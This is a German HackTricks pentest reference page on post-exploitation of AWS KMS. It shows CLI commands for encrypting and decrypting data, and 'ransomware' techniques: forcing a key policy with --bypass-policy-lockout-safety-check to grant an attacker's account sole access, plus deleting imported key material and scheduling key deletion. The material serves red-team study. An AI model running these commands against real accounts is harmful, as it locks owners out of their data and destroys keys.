AWS - KMS Post Exploitation
Reading time: 5 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
KMS
Für weitere Informationen siehe:
Informationen verschlüsseln/entschlüsseln
fileb://
und file://
sind URI-Schemata, die in AWS CLI-Befehlen verwendet werden, um den Pfad zu lokalen Dateien anzugeben:
fileb://:
Liest die Datei im Binärmodus, häufig verwendet für Nicht-Textdateien.file://:
Liest die Datei im Textmodus, typischerweise verwendet für einfache Textdateien, Skripte oder JSON, das keine speziellen Kodierungsanforderungen hat.
tip
Beachten Sie, dass die Datei, wenn Sie einige Daten in einer Datei entschlüsseln möchten, die binären Daten enthalten muss, nicht base64-kodierte Daten. (fileb://)
- Verwendung eines symmetrischen Schlüssels
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
- Verwendung eines asymmetrischen Schlüssels:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode
KMS Ransomware
Ein Angreifer mit privilegiertem Zugriff auf KMS könnte die KMS-Richtlinie der Schlüssel ändern und seinem Konto Zugriff darauf gewähren, während der Zugriff des legitimen Kontos entfernt wird.
Dann können die Benutzer des legitimen Kontos auf keine Informationen von Diensten zugreifen, die mit diesen Schlüsseln verschlüsselt wurden, was eine einfache, aber effektive Ransomware über das Konto schafft.
warning
Beachten Sie, dass AWS verwaltete Schlüssel nicht von diesem Angriff betroffen sind, nur vom Kunden verwaltete Schlüssel.
Beachten Sie auch die Notwendigkeit, den Parameter
--bypass-policy-lockout-safety-check
zu verwenden (das Fehlen dieser Option in der Webkonsole macht diesen Angriff nur über die CLI möglich).
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check
{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
caution
Beachten Sie, dass Sie, wenn Sie diese Richtlinie ändern und nur einem externen Konto Zugriff gewähren, und dann von diesem externen Konto aus versuchen, eine neue Richtlinie festzulegen, um den Zugriff auf das ursprüngliche Konto zurückzugeben, dies nicht möglich sein wird, da die Put Policy-Aktion nicht von einem anderen Konto aus durchgeführt werden kann.
.png)
Generische KMS-Ransomware
Globale KMS-Ransomware
Es gibt einen weiteren Weg, um eine globale KMS-Ransomware durchzuführen, der die folgenden Schritte umfasst:
- Erstellen Sie einen neuen Schlüssel mit einem vom Angreifer importierten Schlüsselmaterial
- Re-verschlüsseln Sie ältere Daten, die mit der vorherigen Version verschlüsselt wurden, mit der neuen.
- Löschen Sie den KMS-Schlüssel
- Jetzt könnte nur der Angreifer, der das ursprüngliche Schlüsselmaterial hat, die verschlüsselten Daten entschlüsseln
Schlüssel zerstören
# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7
caution
Beachten Sie, dass AWS jetzt verhindert, dass die vorherigen Aktionen von einem anderen Konto aus durchgeführt werden:
.png)
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.